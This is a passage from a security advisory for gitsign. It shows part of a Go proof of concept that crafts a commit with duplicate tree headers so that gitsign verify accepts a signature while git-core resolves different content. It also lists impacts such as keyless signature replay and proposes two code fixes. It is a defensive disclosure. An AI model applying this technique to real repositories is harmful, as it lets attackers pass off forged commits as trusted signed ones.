Advisory

GHSA-7rmh-48mx-2vwc

Details, part 2 of 2. The advisory

Details

treeFirst, treeSecond, author, committer, indentSig(string(resp.Signature)), msg)

st := memory.NewStorage()
enc := st.NewEncodedObject()
enc.SetType(plumbing.CommitObject)
w, _ := enc.Writer()
_, _ = w.Write([]byte(malformedRaw))
_ = w.Close()
c, err := object.DecodeCommit(st, enc)
if err != nil {
panic(err)
}

// Reproduce what gitsign verify does
out := new(plumbing.MemoryObject)
if err := c.EncodeWithoutSignature(out); err != nil {
panic(err)
}
r, _ := out.Reader()
verifyData, _ := io.ReadAll(r)

roots := x509.NewCertPool()
roots.AddCert(cert)
v, _ := ggit.NewCertVerifier(ggit.WithRootPool(roots))
_, verr := v.Verify(context.Background(), verifyData, []byte(c.PGPSignature), true)

objHash, oerr := ggit.ObjectHash(verifyData, []byte(c.PGPSignature))
rawObj := &plumbing.MemoryObject{}
rawObj.SetType(plumbing.CommitObject)
_, _ = rawObj.Write([]byte(malformedRaw))

fmt.Println("FIRST_TREE_IN_RAW (git-core):", treeFirst)
fmt.Println("SECOND_TREE_IN_RAW (go-git):", treeSecond)
fmt.Println("GO_GIT_PARSED_TREE:", c.TreeHash.String())
fmt.Println("VERIFY_DATA_EQUALS_CANONICAL:", string(verifyData) == canonicalData)
fmt.Println("CERT_VERIFY_ERROR:", verr) // nil = signature accepted
fmt.Println("OBJECTHASH_ERROR:", oerr)
fmt.Println("OBJECTHASH_FROM_VERIFY_DATA:", objHash)
fmt.Println("RAW_MALFORMED_COMMIT_HASH:", rawObj.Hash().String()) // differs from objHash
}


**Expected output:**

FIRST_TREE_IN_RAW (git-core): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
SECOND_TREE_IN_RAW (go-git): bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
GO_GIT_PARSED_TREE: bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
VERIFY_DATA_EQUALS_CANONICAL: true
CERT_VERIFY_ERROR: <nil> ← signature accepted
OBJECTHASH_ERROR: <nil>
OBJECTHASH_FROM_VERIFY_DATA: <hash of canonical form>
RAW_MALFORMED_COMMIT_HASH: <different hash> ← hash mismatch confirms split


## Impact

- **Signature binding bypass**: `gitsign verify` reports a valid signature from a trusted identity for a commit that git-core resolves to completely different content (a different tree).
- **Signature replay without a key**: An attacker can reuse any existing gitsign-signed commit to produce a new commit that passes `gitsign verify` but points to attacker-controlled content, without possessing any signing key.
- **Rekor tlog inconsistency**: `ObjectHash` also goes through the go-git round-trip, so the hash stored in or looked up from the transparency log is the normalized hash, not the raw object hash. An auditor cross-referencing the tlog hash against the actual object store will see a mismatch.
- **Verification path divergence**: `git verify-commit` and `gitsign verify` reach opposite verdicts for the same malformed commit, undermining auditability.

## Recommended Remediation

### Option 1: Verify against raw bytes (preferred)

Change the `gitsign verify` and `gitsign verify-tag` CLI commands to read the raw object bytes from the git object store and strip the signature header manually, mirroring what git-core does and what `commandVerify` already does when called by `git verify-commit`:

```go
// internal/commands/verify/verify.go — replace lines 63–92
enc, err := repo.Storer.EncodedObject(plumbing.CommitObject, *h)
if err != nil {
    return fmt.Errorf("error reading encoded commit object: %w", err)
}
r, err := enc.Reader()
if err != nil {
    return err
}
rawBytes, err := io.ReadAll(r)
if err != nil {
    return err
}
data, sig, err := git.ExtractSignatureFromRawObject(rawBytes)
if err != nil {
    return err
}
// data is now the raw bytes without the gpgsig header — identical to what git-core passes
summary, err := v.Verify(ctx, data, sig, true)

This aligns the CLI verification path with the commandVerify (git verify-commit) path that already handles raw bytes correctly.

Option 2: Detect and reject malformed objects

Add a pre-verification check in ObjectHash and in the verification path that rejects objects with duplicate field headers (duplicate tree, parent, author, committer), returning an error rather than silently normalizing:

func validateRawCommitFields(data []byte) error {
    seen := map[string]bool{}
    for _, line := range bytes.Split(data, []byte("\n")) {
        if idx := bytes.IndexByte(line, ' '); idx > 0 {
            key := string(line[:idx])
            if seen[key] {
                return fmt.Errorf("malformed commit: duplicate field %q", key)
            }
            seen[key] = true
        }
        if len(line) == 0 {
            break // end of headers
        }
    }
    return nil
}

This is a defense-in-depth measure but does not address the fundamental architectural issue of verifying re-encoded bytes.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Sources & licences